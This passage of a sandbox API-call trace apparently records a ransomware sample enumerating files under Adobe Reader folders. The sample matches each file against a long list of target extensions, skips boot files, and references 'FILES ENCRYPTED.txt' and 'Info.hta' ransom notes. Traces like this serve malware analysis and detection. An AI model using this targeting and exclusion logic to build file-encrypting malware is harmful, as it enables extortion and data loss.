lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".divx") returned 5 [0269.716] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".djvu") returned 5 [0269.716] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".dng") returned 4 [0269.716] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".doc") returned 4 [0269.716] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".docm") returned 5 [0269.716] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".docx") returned 5 [0269.716] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".dot") returned 4 [0269.716] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".dotm") returned 5 [0269.716] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".dotx") returned 5 [0269.716] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0269.716] lstrlenW (lpString=".dpx") returned 4 [0269.716] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".dqy") returned 4 [0269.716] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".dsn") returned 4 [0269.716] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".dt") returned 3 [0269.716] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0269.716] lstrlenW (lpString=".dtd") returned 4 [0269.716] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0269.716] lstrlenW (lpString=".dwg") returned 4 [0269.716] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".dwt") returned 4 [0269.717] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".dx") returned 3 [0269.717] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0269.717] lstrlenW (lpString=".dxf") returned 4 [0269.717] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".edml") returned 5 [0269.717] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0269.717] lstrlenW (lpString=".efd") returned 4 [0269.717] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".elf") returned 4 [0269.717] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".emf") returned 4 [0269.717] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".emz") returned 4 [0269.717] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".epf") returned 4 [0269.717] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".eps") returned 4 [0269.717] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".epsf") returned 5 [0269.717] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0269.717] lstrlenW (lpString=".epsp") returned 5 [0269.717] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0269.717] lstrlenW (lpString=".erf") returned 4 [0269.717] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".exr") returned 4 [0269.717] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".f4v") returned 4 [0269.717] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0269.717] lstrlenW (lpString=".fido") returned 5 [0269.718] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0269.718] lstrlenW (lpString=".flm") returned 4 [0269.718] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".flv") returned 4 [0269.718] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".frm") returned 4 [0269.718] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".fxg") returned 4 [0269.718] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".geo") returned 4 [0269.718] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".gif") returned 4 [0269.718] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".grs") returned 4 [0269.718] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0269.718] lstrlenW (lpString=".gz") returned 3 [0269.718] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0269.718] lstrlenW (lpString=".h") returned 2 [0269.736] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0269.736] lstrlenW (lpString=".hdr") returned 4 [0269.736] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0269.736] lstrlenW (lpString=".hpp") returned 4 [0269.736] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0269.736] lstrlenW (lpString=".hta") returned 4 [0269.737] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".htc") returned 4 [0269.737] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".htm") returned 4 [0269.737] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".html") returned 5 [0269.737] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0269.737] lstrlenW (lpString=".icb") returned 4 [0269.737] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".ics") returned 4 [0269.737] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".iff") returned 4 [0269.737] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".inc") returned 4 [0269.737] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".indd") returned 5 [0269.737] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0269.737] lstrlenW (lpString=".ini") returned 4 [0269.737] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".iqy") returned 4 [0269.737] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".j2c") returned 4 [0269.737] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0269.737] lstrlenW (lpString=".j2k") returned 4 [0269.738] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".java") returned 5 [0269.738] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0269.738] lstrlenW (lpString=".jp2") returned 4 [0269.738] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".jpc") returned 4 [0269.738] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".jpe") returned 4 [0269.738] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".jpeg") returned 5 [0269.738] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0269.738] lstrlenW (lpString=".jpf") returned 4 [0269.738] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".jpg") returned 4 [0269.738] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".jpx") returned 4 [0269.738] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0269.738] lstrlenW (lpString=".js") returned 3 [0269.738] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0269.738] lstrlenW (lpString="ui-strings.js") returned 13 [0269.738] lstrlenW (lpString=".love$") returned 6 [0269.738] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0269.738] lstrlenW (lpString="ui-strings.js") returned 13 [0269.739] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0269.739] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0269.739] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js") returned 120 [0269.739] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.739] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0269.739] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0269.740] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.740] lstrlenW (lpString="ui-strings.js") returned 13 [0269.740] lstrlenW (lpString=".1cd") returned 4 [0269.740] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.740] lstrlenW (lpString=".3ds") returned 4 [0269.740] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.740] lstrlenW (lpString=".3fr") returned 4 [0269.740] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.740] lstrlenW (lpString=".3g2") returned 4 [0269.740] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.740] lstrlenW (lpString=".3gp") returned 4 [0269.740] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.740] lstrlenW (lpString=".7z") returned 3 [0269.741] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.741] lstrlenW (lpString=".accda") returned 6 [0269.741] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".accdb") returned 6 [0269.741] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".accdc") returned 6 [0269.741] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".accde") returned 6 [0269.741] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".accdt") returned 6 [0269.741] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".accdw") returned 6 [0269.741] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.741] lstrlenW (lpString=".adb") returned 4 [0269.741] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.741] lstrlenW (lpString=".adp") returned 4 [0269.741] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.741] lstrlenW (lpString=".ai") returned 3 [0269.741] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.742] lstrlenW (lpString=".ai3") returned 4 [0269.743] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".ai4") returned 4 [0269.743] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".ai5") returned 4 [0269.743] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".ai6") returned 4 [0269.743] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".ai7") returned 4 [0269.743] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".ai8") returned 4 [0269.743] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.743] lstrlenW (lpString=".anim") returned 5 [0269.744] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.744] lstrlenW (lpString=".arw") returned 4 [0269.744] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".as") returned 3 [0269.744] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.744] lstrlenW (lpString=".asa") returned 4 [0269.744] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".asc") returned 4 [0269.744] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".ascx") returned 5 [0269.744] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.744] lstrlenW (lpString=".asm") returned 4 [0269.744] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".asmx") returned 5 [0269.744] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.744] lstrlenW (lpString=".asp") returned 4 [0269.744] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".aspx") returned 5 [0269.744] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.744] lstrlenW (lpString=".asr") returned 4 [0269.744] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.744] lstrlenW (lpString=".asx") returned 4 [0269.745] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.745] lstrlenW (lpString=".avi") returned 4 [0269.745] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.745] lstrlenW (lpString=".avs") returned 4 [0269.745] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.745] lstrlenW (lpString=".backup") returned 7 [0269.745] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.745] lstrlenW (lpString=".bak") returned 4 [0269.745] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.745] lstrlenW (lpString=".bay") returned 4 [0269.745] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.745] lstrlenW (lpString=".bd") returned 3 [0269.745] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.745] lstrlenW (lpString=".bin") returned 4 [0269.745] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".bmp") returned 4 [0269.746] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".bz2") returned 4 [0269.746] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".c") returned 2 [0269.746] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.746] lstrlenW (lpString=".cdr") returned 4 [0269.746] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".cer") returned 4 [0269.746] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".cf") returned 3 [0269.746] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0269.746] lstrlenW (lpString=".cfc") returned 4 [0269.746] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0269.746] lstrlenW (lpString=".cfm") returned 4 [0269.746] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0269.747] lstrlenW (lpString=".cfml") returned 5 [0269.747] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0269.747] lstrlenW (lpString=".cfu") returned 4 [0269.747] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0269.747] lstrlenW (lpString=".chm") returned 4 [0269.747] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0269.747] lstrlenW (lpString=".cin") returned 4 [0269.747] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0269.747] lstrlenW (lpString=".class") returned 6 [0269.747] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0269.747] lstrlenW (lpString=".clx") returned 4 [0269.747] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0269.747] lstrlenW (lpString=".config") returned 7 [0269.747] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0269.747] lstrlenW (lpString=".cpp") returned 4 [0269.748] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".cr2") returned 4 [0269.748] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".crt") returned 4 [0269.748] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".crw") returned 4 [0269.748] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".cs") returned 3 [0269.748] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0269.748] lstrlenW (lpString=".css") returned 4 [0269.748] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".csv") returned 4 [0269.748] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".cub") returned 4 [0269.748] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0269.748] lstrlenW (lpString=".dae") returned 4 [0269.749] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dat") returned 4 [0269.749] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".db") returned 3 [0269.749] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0269.749] lstrlenW (lpString=".dbf") returned 4 [0269.749] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dbx") returned 4 [0269.749] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dc3") returned 4 [0269.749] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dcm") returned 4 [0269.749] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dcr") returned 4 [0269.749] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".der") returned 4 [0269.749] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0269.749] lstrlenW (lpString=".dib") returned 4 [0269.749] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".dic") returned 4 [0269.750] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".dif") returned 4 [0269.750] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".divx") returned 5 [0269.750] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0269.750] lstrlenW (lpString=".djvu") returned 5 [0269.750] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0269.750] lstrlenW (lpString=".dng") returned 4 [0269.750] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".doc") returned 4 [0269.750] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".docm") returned 5 [0269.750] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0269.750] lstrlenW (lpString=".docx") returned 5 [0269.750] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0269.750] lstrlenW (lpString=".dot") returned 4 [0269.750] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0269.750] lstrlenW (lpString=".dotm") returned 5 [0269.751] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0269.751] lstrlenW (lpString=".dotx") returned 5 [0269.751] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0269.751] lstrlenW (lpString=".dpx") returned 4 [0269.751] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dqy") returned 4 [0269.751] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dsn") returned 4 [0269.751] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dt") returned 3 [0269.751] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0269.751] lstrlenW (lpString=".dtd") returned 4 [0269.751] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dwg") returned 4 [0269.751] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dwt") returned 4 [0269.751] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".dx") returned 3 [0269.751] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0269.751] lstrlenW (lpString=".dxf") returned 4 [0269.751] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".edml") returned 5 [0269.751] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0269.751] lstrlenW (lpString=".efd") returned 4 [0269.751] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0269.751] lstrlenW (lpString=".elf") returned 4 [0269.751] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".emf") returned 4 [0269.753] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".emz") returned 4 [0269.753] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".epf") returned 4 [0269.753] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".eps") returned 4 [0269.753] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".epsf") returned 5 [0269.753] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0269.753] lstrlenW (lpString=".epsp") returned 5 [0269.753] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0269.753] lstrlenW (lpString=".erf") returned 4 [0269.753] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0269.753] lstrlenW (lpString=".exr") returned 4 [0269.753] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".f4v") returned 4 [0269.754] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".fido") returned 5 [0269.754] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0269.754] lstrlenW (lpString=".flm") returned 4 [0269.754] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".flv") returned 4 [0269.754] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".frm") returned 4 [0269.754] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".fxg") returned 4 [0269.754] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".geo") returned 4 [0269.754] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".gif") returned 4 [0269.754] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".grs") returned 4 [0269.754] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0269.754] lstrlenW (lpString=".gz") returned 3 [0269.754] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0269.754] lstrlenW (lpString=".h") returned 2 [0269.754] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0269.754] lstrlenW (lpString=".hdr") returned 4 [0269.754] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0269.755] lstrlenW (lpString=".hpp") returned 4 [0270.095] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".hta") returned 4 [0270.095] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".htc") returned 4 [0270.095] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".htm") returned 4 [0270.095] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".html") returned 5 [0270.095] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.095] lstrlenW (lpString=".icb") returned 4 [0270.095] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".ics") returned 4 [0270.095] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".iff") returned 4 [0270.095] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".inc") returned 4 [0270.095] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".indd") returned 5 [0270.095] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.095] lstrlenW (lpString=".ini") returned 4 [0270.095] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".iqy") returned 4 [0270.095] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.095] lstrlenW (lpString=".j2c") returned 4 [0270.096] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".j2k") returned 4 [0270.096] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".java") returned 5 [0270.096] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.096] lstrlenW (lpString=".jp2") returned 4 [0270.096] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".jpc") returned 4 [0270.096] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".jpe") returned 4 [0270.096] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".jpeg") returned 5 [0270.096] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.096] lstrlenW (lpString=".jpf") returned 4 [0270.096] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".jpg") returned 4 [0270.096] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.096] lstrlenW (lpString=".jpx") returned 4 [0270.096] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.097] lstrlenW (lpString=".js") returned 3 [0270.097] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.097] lstrlenW (lpString="ui-strings.js") returned 13 [0270.097] lstrlenW (lpString=".love$") returned 6 [0270.097] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0270.097] lstrlenW (lpString="ui-strings.js") returned 13 [0270.097] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="Info.hta", 